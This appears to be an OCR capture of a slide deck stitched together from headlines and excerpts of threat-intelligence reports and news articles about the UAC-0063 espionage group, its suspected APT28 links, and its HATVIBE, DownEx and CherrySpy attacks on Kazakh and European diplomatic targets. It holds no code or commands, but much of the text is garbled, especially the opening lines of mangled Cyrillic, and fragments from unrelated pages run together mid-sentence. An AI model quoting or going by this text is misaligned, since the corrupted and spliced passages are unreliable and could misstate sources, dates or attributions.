Sarpnro we o Roxywent (DOC) 3 marpocom, mew, y <o “epry, saGesmewnrs OGN KPHTAWG! INGpacTPYKTYPH Yepalin

creopesnn wa EOM saxosossworo HTA-dainy weianeoi nporpaww HATVIBE  (CERT-UAWISTOZ)

RecordsService’. 2 ranom. guiny  sannawossoro  sasawn

\_c npusatenoro ann sanyeky

 Horapiary Ypainn (CERT

ACYTN 3 metoro anifenenna Ki6eparax 1a
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Deep Dive Into DownEx Espionage
Operation in Central Asia

Martn Zugec
May 10,2023

In late 2022, Bitdefender Labs detected a cyberattack targeting foreign
government institutions in Kazakhstan. While investigating this incident,
it was revealed that this was a highly targeted attack designed to

\__exfilrate data. We decided to postpone publishing our findings and
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Bitdefender Labs warns of an active cyber-espionage campaign targeting
organizations in Central Asia and European countries. The group, tracked
a5 UAC-0063, employs sophisticated tactics to infiltrate high-value

targets
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| Conclusion

24 citations

UAC-0063 Expands Cyber Attacks to European Emba
Documents

£ Jan29,2025 & Ravie Lakshmanan yer Espionage / Threat intelligence

fRussian APT Phishes Kazakh Gov't for §

ted cyber-intelligence campaign adds fuel to the increasingly compl

The advanced persistent threat (APT) group known as UAC-0063 has been observed leveraging
legitimate documents obtained by infiltrating one victim to attack another target with the goal of
delivering a known malware dubbed HATVIBE.

"This research focuses on completing the picture of UAC-0063's operations, particularly documenting
their expansion beyond their initial focus on Central Asia, targeting entities such as embassies in
multiple European countries, including Germany, the U.K., the Netherlands, Romania, and Georgia,"
Martin Zugec, technical solutions director at Bitdefender, said in a report shared with The Hacker
News

UAC-0063 was first flagged by the Romanian cybersecurity company in May 2023 in connection with a
campaign that targeted government entities in Central Asia with a data exfiltration malware known as
DownEx (aka STILLARCH). It's suspected to share links with a known Russian state-sponsored actor

called APT28.
N J

[ n ] ¢ ] x ] < ]=1]5]

A suspected Russia-nexus threat actor has been executing convincing spear
phishing attacks against diplomatic entities in Kazakhstan.

UAC-0063, active since at least 2021, was first documented by Ukraine's
Computer Emergency Response Team (CERT-UA) in 2023. With medium
confidence, CERT-UA tied it to APT28 (aka Fancy Bear, Forest Blizzard,
Strontium, Sofacy), from the General Staff Main Intelligence Directorate (GRU)
Military Unit 26165. APT28 is best known for its high-profile attacks against
Western governments: the Democratic National Committee (DNC) hack of 2016,
campaigns against parliamentary bodies in Germany, Norway, and the

\Wetherlands, and much more. J

Kazakhstan's Foreign Ministry to Undergo
Check Following January Reports on Cyber
Attack

03 February 2025 14:15 Orda English

Photo: elements envato, illustrative purposes

The Ministry of Digital Development (MCRIAP) will conduct an unscheduled inspection of the Ministry
of Foreign Affairs following reports , Orda kz reports.

The State Technical Service has been monitoring attacks using CherrySpy and
Hatvibe files against the Foreign Ministry since the second half of 2023,

— MCRIAP stated in response to an official inquiry.

s ; N
CPC i FOUC iy cmomy oo sy con
Water Security Middle Corridor Strategic Minerals
Russia’s Shadow War Reaches
Kazakhstan: Inside Moscow’s
Espionage Offensive
Maia Kiniyalocts
Ifhage‘source: shuttérstock
y Russia to utilize
Ukraine’s Comput
\tainis m re had
J

“The Ministry of Digital Development will conduct an unscheduled inspection of the Ministry of Foreign Affairs following reports
on a cyber attack”
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Double-Tap Campaign: Russia-nexus APT possibly related to APT28
conducts cyber espionage on Central Asia and Kazakhstan diplomatic
relations

| Amaury Gargon Maxime Arquilliere
APT Technical Analyst CTI Lead Analyst Strategic CTI

tdr@sekoia.io
01/04/2025
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